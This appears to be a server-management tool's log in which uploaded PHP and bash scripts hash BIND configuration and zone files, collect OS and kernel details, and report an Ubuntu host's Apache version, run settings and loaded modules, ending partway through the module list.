MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:20:24: Establishing a connection
2026-01-03 18:20:24: 

PUT: /tmp/pkp175789

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:20:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp175789; rm /tmp/pkp175789'

2026-01-03 18:20:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:21:12: Establishing a connection
2026-01-03 18:21:13: Performing Server Status
2026-01-03 18:21:13: 

PUT: /tmp/pkp628536

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 18:21:15: 

chmod 755 /tmp/pkp628536; /tmp/pkp628536; rm /tmp/pkp628536

2026-01-03 18:21:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2026-01-03 18:21:15: 

PUT: /tmp/pkp874974

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-03 18:21:15: 

chmod 755 /tmp/pkp874974; /tmp/pkp874974; rm /tmp/pkp874974

2026-01-03 18:21:16: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 320261
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      320261  0.0  0.2 313516 43444 ?        Ss   18:14   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
